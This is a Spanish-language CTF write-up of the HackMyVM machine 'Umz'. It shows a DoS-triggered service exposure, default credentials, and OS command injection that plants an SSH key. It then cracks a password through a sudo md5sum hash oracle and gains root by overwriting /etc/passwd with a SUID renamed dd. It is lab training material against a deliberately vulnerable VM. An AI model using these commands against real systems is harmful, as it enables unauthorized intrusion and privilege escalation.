cd ~/blog

~/writeups/hmv/129-umz.md

129 - Umz

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
DoS-triggered Hidden Service ExposureDefault Credentials con OS Command Injection en una aplicación WerkzeugPrivileged Hash Oracle mediante sudo md5sumSUID Binary Abuse mediante dd sobre /etc/passwd
hackmyvm.eu/machines/machine.php?vm=Umz

~2 min de lectura


Enumeración de servicios

El escaneo inicial solo encuentra SSH y una aplicación web sobre Apache:

❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.11
...
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: cyber fortress 9000
...

Activación del servicio oculto mediante carga

Mientras buscamos parámetros capaces de leer archivos locales, ffuf descubre stress. El parámetro no devuelve archivos: ordena a la aplicación calcular números primos hasta el límite recibido, una operación costosa controlada por el cliente:

❯ ffuf -u 'http://192.168.1.11/index.php?FUZZ=../../../../etc/passwd' -w directory-list-2.3-small.txt -fs 2714
stress                  [Status: 200, ...]

No obtenemos una lectura de archivos. La portada alude a denegación de servicio, así que generamos carga concurrente contra stress. En esta máquina concreta, el agotamiento temporal del servicio desencadena la exposición de otro puerto; no debe interpretarse como un comportamiento general de Apache ante un DoS:

❯ ffuf -u 'http://192.168.1.11/index.php?stress=FUZZ' -w ~/Documentos/wordlists/SecLists/Fuzzing/6-digits-000000-999999.txt -fs 2712

Mientras el puerto 80 deja de responder, repetimos el escaneo hasta detectar el puerto 8080:

❯ while true; do sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 03-allPorts-post-ddos 192.168.1.11 ; sleep 1; done
...
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
...

Default Credentials y OS Command Injection

El puerto 8080 presenta un panel Werkzeug identificado como Debug Console Login. Las Default Credentials admin:admin permiten autenticarse:

❯ whatweb http://192.168.1.11:8080/login
... Werkzeug[1.0.1] ... Title[Debug Console Login] ...

El panel espera un destino para ping, pero entrega la entrada a una shell sin neutralizar metacaracteres. El punto y coma termina el argumento previsto e inicia una segunda orden, confirmando OS Command Injection:

192.168.1.6; id
...
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

Usamos la misma primitiva para instalar una clave pública en el home de welcome y obtener una sesión SSH estable:

;mkdir /home/welcome/.ssh && echo 'ssh-rsa...' > /home/welcome/.ssh/authorized_keys

❯ ssh welcome@192.168.1.11 -i id_rsa_welcome
welcome@Umz:~$

Privileged Hash Oracle

En /opt/flask-debug existe umz.pass, pero welcome no puede leerlo directamente. La política de sudo sí permite ejecutar md5sum como root:

welcome@Umz:/opt/flask-debug$ sudo -l
...
User welcome may run the following commands on Umz:
    (ALL) NOPASSWD: /usr/bin/md5sum

El permiso crea un Privileged Hash Oracle: no revela el archivo, pero permite calcular su MD5 y comparar candidatos sin conocer el contenido. Como el valor almacenado termina con un salto de línea, el script añade \n a cada palabra antes de calcular el digest:

welcome@Umz:/opt/flask-debug$ sudo md5sum umz.pass
a963fadd7fd379f9bc294ad0ba44f659  umz.pass
❯ cat crack_md5.py
import sys, hashlib
from tqdm import tqdm
with open(sys.argv[1], 'rt') as dic:
    words = dic.read().split()
    for word in tqdm(words):
        if hashlib.md5((word+"\n").encode()).hexdigest() == 'a963fadd7fd379f9bc294ad0ba44f659':
            print('[+] Found: ' + word); break

❯ python3 crack_md5.py /home/wh01s17/Documentos/wordlists/rockyou_utf8.txt
...
[+] Found: sunshine3
...

welcome@Umz:/home$ su umzyyds
Password: sunshine3
umzyyds@Umz:/home$

SUID Binary Abuse mediante dd

La contraseña recuperada permite cambiar a umzyyds. En su home existe Dashazi, un binario SUID que en realidad es dd renombrado:

umzyyds@Umz:~$ ./Dashazi --version
dd (coreutils) 8.30
...

Mediante SUID Binary Abuse, dd conserva privilegios al abrir el archivo de destino. Primero respaldamos /etc/passwd, preparamos una copia con una cuenta UID 0 y finalmente la escribimos sobre el archivo crítico, combinando la primitiva con Writable Critical File:

umzyyds@Umz:~$ ./Dashazi if=/etc/passwd of=/tmp/passwd.bak status=none

❯ openssl passwd -1
Password: 1234
$1$/7FfToVh$E5ABpA40BkdHSLkRxykBG.

umzyyds@Umz:/tmp$ echo 'pwned:$1$/7FfToVh$E5ABpA40BkdHSLkRxykBG.:0:0:RePwned:/root:/bin/bash' >> passwd.mod
umzyyds@Umz:~$ ./Dashazi if=/tmp/passwd.mod of=/etc/passwd status=none

umzyyds@Umz:~$ su pwned
Password: 1234
root@Umz:/home/umzyyds#

El prompt de root confirma la escalada. Con este acceso damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados